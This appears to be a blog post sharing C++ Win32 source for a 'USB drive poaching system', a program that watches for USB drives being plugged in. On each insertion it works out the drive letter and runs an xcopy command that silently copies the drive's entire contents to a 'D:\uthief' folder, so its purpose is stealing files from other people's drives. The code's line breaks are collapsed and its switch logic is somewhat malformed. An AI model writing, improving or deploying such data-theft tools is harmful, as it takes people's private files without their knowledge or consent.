u 盘偷猎系统源代码

// u 盘.cpp : 定义应用程序的入口点。//

#include "framework.h"#include "u 盘.h"#include<Dbt.h>#include<stdio.h>

#define MAX_LOADSTRING 100

// 全局变量:HINSTANCE hInst; // 当前实例 WCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本 WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名

// 此代码模块中包含的函数的前向声明:ATOM MyRegisterClass(HINSTANCE hInstance);BOOL InitInstance(HINSTANCE, int);LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);

//能将 u 盘掩码转换为盘符 char GetUFromUnitmask(int unitmask);

int APIENTRY wWinMain(In HINSTANCE hInstance,In_opt HINSTANCE hPrevInstance,In LPWSTR lpCmdLine,In int nCmdShow){UNREFERENCED_PARAMETER(hPrevInstance);UNREFERENCED_PARAMETER(lpCmdLine);

// TODO: 在此处放置代码。
// 初始化全局字符串LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);LoadStringW(hInstance, IDC_U, szWindowClass, MAX_LOADSTRING);MyRegisterClass(hInstance);
// 执行应用程序初始化:if (!InitInstance (hInstance, nCmdShow)){    return FALSE;}
HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_U));
MSG msg;
// 主消息循环:while (GetMessage(&msg, nullptr, 0, 0)){    if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))    {        TranslateMessage(&msg);        DispatchMessage(&msg);    }}
return (int) msg.wParam;

}

//// 函数: MyRegisterClass()//// 目标: 注册窗口类。//ATOM MyRegisterClass(HINSTANCE hInstance){WNDCLASSEXW wcex;

wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style          = CS_HREDRAW | CS_VREDRAW;wcex.lpfnWndProc    = WndProc;wcex.cbClsExtra     = 0;wcex.cbWndExtra     = 0;wcex.hInstance      = hInstance;wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_U));wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_U);wcex.lpszClassName  = szWindowClass;wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassExW(&wcex);

}

//// 函数: InitInstance(HINSTANCE, int)//// 目标: 保存实例句柄并创建主窗口//// 注释://// 在此函数中，我们在全局变量中保存实例句柄并// 创建和显示主程序窗口。//BOOL InitInstance(HINSTANCE hInstance, int nCmdShow){hInst = hInstance; // 将实例句柄存储在全局变量中

HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

if (!hWnd){return FALSE;}

ShowWindow(hWnd, nCmdShow);UpdateWindow(hWnd);

return TRUE;}

//// 函数: WndProc(HWND, UINT, WPARAM, LPARAM)//// 目标: 处理主窗口的消息。//// WM_COMMAND - 处理应用程序菜单// WM_PAINT - 绘制主窗口// WM_DESTROY - 发送退出消息并返回////LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){switch (message){case WM_DEVICECHANGE://设备发生变化就会有这个消息{switch(wParam)case DBT_DEVICEARRIVAL://设备插入并且可以使用{ //弹出一个提示框 MessageBox(NULL, L"你已经插入了，可以使用", L"提示", MB_OK);//获取 u 盘盘符路径 DEV_BROADCAST_VOLUME* pVolume = (DEV_BROADCAST_VOLUME*)lParam;int n = pVolume->dbcv_unitmask;//64 如何对应 掩码值//掩码转化为盘符字母 char ch = GetUFromUnitmask(pVolume->dbcv_unitmask);

        char buffer[200];        sprintf(buffer, "xcopy %c:\\ D:\\uthief  /E", ch);        system(buffer);        break;    }case DBT_DEVICEREMOVECOMPLETE://设备移除成功{    MessageBox(NULL, L"你已经拔出了，呜呜呜呜~~~", L"提示", MB_OK);    break;}}
case WM_DESTROY:    PostQuitMessage(0);    break;default:    return DefWindowProc(hWnd, message, wParam, lParam);}return 0;

}

// “关于”框的消息处理程序。INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam){UNREFERENCED_PARAMETER(lParam);switch (message){case WM_INITDIALOG:return (INT_PTR)TRUE;

case WM_COMMAND:    if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)    {        EndDialog(hDlg, LOWORD(wParam));        return (INT_PTR)TRUE;    }    break;}return (INT_PTR)FALSE;

}

//能将u盘掩码转换为盘符char GetUFromUnitmask(int unitmask){char ch = 'A';int i = 0;for ( i = 0;i < 26;i++){    if (unitmask & 1)        break;    unitmask = unitmask >> 1;}return ch + i;}//位运算的重要性